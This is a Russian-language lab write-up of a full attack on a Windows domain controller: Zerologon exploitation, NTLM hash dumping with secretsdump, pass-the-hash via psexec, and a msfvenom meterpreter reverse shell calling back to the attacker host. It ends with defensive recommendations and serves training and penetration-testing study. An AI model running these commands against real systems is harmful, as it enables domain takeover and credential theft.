## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NYAMBIBLAISE-DOMAIN-CONTROLLER-DC-EXPLOITATION-WITH-METASPLOIT-IMPACKET
# Эксплуатация контроллера домена (DC) с помощью Metasploit и Impacket
Сквозная эксплуатация контроллера домена с использованием Metasploit и Impacket: обнаружен DC10, использован Zerologon (CVE-2020-1472), извлечены NTLM-хеши, получен шелл SYSTEM, установлена сессия Meterpreter.
**Краткое описание** В данном упражнении продемонстрирована полная, реалистичная цепочка атак на контроллер домена, уязвимый для CVE-2020-1472 (Zerologon). Взаимодействие включало обнаружение, обогащение служб, эксплуатацию, извлечение учетных данных, горизонтальное перемещение и проверку пост-эксплуатации. Мне удалось получить доступ уровня SYSTEM и установить постоянную сессию Meterpreter на DC, используя комбинацию Zerologon, Impacket secretsdump + pass-the-hash, а также полезные нагрузки msfvenom/meterpreter. На каждом этапе были сделаны скриншоты и сохранены артефакты команд.
**Обзор лаборатории:** Смоделирована полная цепочка атак на **контроллер домена Windows** с использованием **Metasploit** и **Impacket** ; обнаружение, Zerologon, secretsdump, pass-the-hash и управляемая сессия Meterpreter.
**Почему это важно для организаций:** Поскольку DC управляет аутентификацией, групповыми политиками и идентификацией для всего домена, его компрометация может перерасти в полное нарушение бизнес-процессов, захват учетных записей, кражу данных, развертывание программ-вымогателей и потерю регуляторного доверия. Защита DC обеспечивает непрерывность работы, доход и репутацию, предотвращая превращение идентификации в единую точку отказа.
# Эксплуатация контроллера домена (DC) с помощью Metasploit + Impacket
### СЦЕНАРИЙ
Вам предоставлены две машины в изолированной лабораторной сети. Одна система — контроллер домена Windows (DC) с именем DC10, на которой размещены основные службы AD. Другая система — рабочая станция Kali, размещенная в том же серверном сегменте для тестирования. Предполагается, что DC открывает типичные доменные службы (например, LDAP, Kerberos, SMB) и может быть уязвим для известных проблем. Хост Kali должен использоваться для разведки, эксплуатации, получения учетных данных, горизонтального перемещения и проверки пост-эксплуатации. Задача — идентифицировать DC, подтвердить данные домена, получить первоначальную точку опоры с помощью применимой техники, извлечь материал учетных данных для получения административного доступа, а затем продемонстрировать контроль над DC через удаленный шелл и сессию управляемого агента, адаптируясь к любым ограничениям среды, таким как пропатченные службы, ограниченный исходящий трафик или защита конечных точек. DC: 10.1.16.1 Kali: 10.1.16.66
### Основные результаты
* Использована критическая уязвимость: CVE-2020-1472 (Zerologon) успешно эксплуатирована для сброса пароля учетной записи машины DC до пустого.
* Компрометация учетных данных: из DC извлечены NTLM-хеши (secretsdump), раскрыты учетные данные администратора, позволяющие использовать pass-the-hash.
* Продемонстрирован полный контроль над доменом: с помощью извлеченных хешей получен шелл SYSTEM на DC10 (psexec) и запущен стабильный обратный шелл Meterpreter, что подтверждает удаленное выполнение кода и постоянство.
* Открытые службы: LDAP, Kerberos, SMB и связанные службы RPC были доступны с атакующего хоста, что позволило провести обнаружение и эксплуатацию.
* Риск поверхности атаки: DC принимал удаленные операции, что позволило манипулировать учетной записью машины и удаленно выполнять полезные нагрузки.
### 1) Обнаружение и разведка
Я использовал msfconsole с поддержкой БД, выполнил nmap-сканирование из MSF, импортировал результаты и уточнил хосты и службы для подтверждения доступности DC10.
* Запустил msfconsole с поддержкой БД и подтвердил подключение к базе данных.
* Выполнил nmap-сканирование подсети из msfconsole и импортировал результаты в БД MSF.
* Очистил таблицу хостов, удалив свой IP Kali. Просмотрел службы, чтобы выявить вероятные индикаторы DC.
* Использовал SYN-порт-сканер MSF с ограниченным диапазоном портов и глобальной многопоточностью для уточнения данных о службах.
* Снял отпечаток SMB на хостах Windows для обогащения информации об ОС.
* Подтвердил службы LDAP и Kerberos на 10.1.16.1 и проверил имя домена через LDAP-запрос.
* Решение: рассматривать 10.1.16.1 как цель DC для эксплуатации и получения учетных данных.
  
### 2) Обогащение информации о службах и подтверждение DC
Я выполнил SYN-порт-скан в MSF, снял отпечаток SMB и подтвердил LDAP и Kerberos на 10.1.16.1. Я запросил LDAP для получения имени домена.
     ### Проверка версии SMB
* Я использовал модуль проверки версии SMB в msfconsole: `auxiliary/scanner/smb/smb_version`.
* Установил цели из таблицы хостов с помощью hosts -R .
* Получил обратно диалект SMB и информацию об ОС.
* Результат: 10.1.16.1 показал информацию о Windows Server, что соответствовало роли контроллера домена.
    
### Запрос LDAP
* Для модуля LDAP-запроса я использовал `auxiliary/gather/ldap_query`.
* Установил rhosts 10.1.16.1 для прямого обращения к DC10.
* Запустил его для получения базовой информации о каталоге.
* Результат: Подтверждено имя домена «structureality» и то, что LDAP на DC отвечает.
   
### 3) Эксплуатация Zerologon (первоначальный доступ)
Я запустил **auxiliary/admin/dcerpc/cve_2020_1472_zerologon** против DC10 для сброса пароля учетной записи машины до пустого.
 
### 4) Получение учетных данных (secretsdump)
Используя Impacket, я сдампил NTLM-хеши с DC и определил учетные данные администратора для pass-the-hash.
**`impacket-secretsdump -just-dc-ntlm structureality/dc10\some-email@example.com`**
 
### 5) Горизонтальное перемещение (psexec)
Я использовал pass-the-hash с psexec для получения шелла уровня SYSTEM на DC10 и подтвердил идентичность хоста.
**`impacket-psexec structureality/some-email@example.com -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9`** Как видите, я уже нахожусь в **C:\Windows\system32**
 
### 6) Пост-эксплуатация (Meterpreter)
Я сгенерировал полезную нагрузку reverse_tcp meterpreter, разместил её по HTTP, загрузил на DC10, запустил обработчик и выполнил полезную нагрузку для открытия сессии Meterpreter.
**`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe`**
  Я запустил простой веб-сервер, чтобы целевая система могла легко получить этот исполняемый файл meterpreter, используя:
**`python3 -m http.server 8080`**
 На целевой машине я выполнил исполняемый файл meterpreter (secret.exe)     
Как видите, теперь у меня установлено обратное шелл-соединение между целевым DC10 и системами Kali. Это было достигнуто путем использования только внешних/удаленных эксплойтов против уязвимой цели.
Хотя система Kali находится в серверной подсети вместе с целевым DC10, `такие типы атак возможны через Интернет, если целевая система открыта для внешней сети`.
### 7) Ключевые результаты
* DC10 идентифицирован как контроллер домена для structureality
* Zerologon успешно сработал, что позволило извлечь учетные данные
* Хеш администратора использован для получения шелла SYSTEM через pass-the-hash
* Подтверждена стабильная сессия Meterpreter на DC10
### Доказательства
* Журналы сканирования подсети MSF DB и nmap, подтверждающие обнаружение хостов и служб.
* Вывод перечисления SMB/LDAP/Kerberos, подтверждающий службы DC и имя домена structureality.
* Вывод модуля Zerologon, показывающий сброс пароля учетной записи машины до пустого.
* Вывод secretsdump с извлеченными NTLM-хешами.
* Журналы сессии psexec, демонстрирующие C:\Windows\System32.
* Скриншоты msfvenom и сессии Meterpreter, подтверждающие удаленное управление.
### Выполненные действия (кратко)
* Обнаружение и разведка: nmap-сканирование из msfconsole; использование БД MSF для управления хостами/службами; подтверждение DC10 как цели.
* Обогащение служб: снятие отпечатка SMB, LDAP-запросы, подтверждение Kerberos для проверки роли контроллера домена.
* Первоначальный доступ: запуск auxiliary/admin/dcerpc/cve_2020_1472_zerologon для сброса пароля учетной записи машины DC.
* Получение учетных данных: impacket-secretsdump для извлечения NTLM-хешей с DC.
* Горизонтальное перемещение: impacket-psexec с использованием NTLM-хеша администратора → шелл SYSTEM.
* Пост-эксплуатация: сборка и размещение полезной нагрузки meterpreter (msfvenom), загрузка и выполнение на DC, подтверждение постоянной сессии.
### Рекомендации владельцам сети
* Немедленно исправить уязвимость Netlogon и проверить с помощью сканирования на наличие CVE-2020-1472
* Включить подпись SMB и ограничить доступ к SMB и RPC DC только доверенными административными подсетями
* Внедрить многоуровневое администрирование и запретить удаленное выполнение служб с хостов, не являющихся административными
* Отключить или строго контролировать NTLM, предпочитать Kerberos, отслеживать шаблоны pass-the-hash
* Контроль исходящего трафика: ограничить исходящие соединения с серверов, разрешить только необходимые адресаты и порты
* Защита конечных точек: блокировать неподписанные двоичные файлы и применять сканирование с интеграцией AMSI для PowerShell
* Мониторинг: оповещать о сбросах паролей учетных записей машин, аномальном доступе к DRSUAPI и неожиданных прослушивателях, похожих на обработчики
* Регулярно менять привилегированные учетные данные и использовать решения LAPS или PAM для снижения риска повторного использования хешей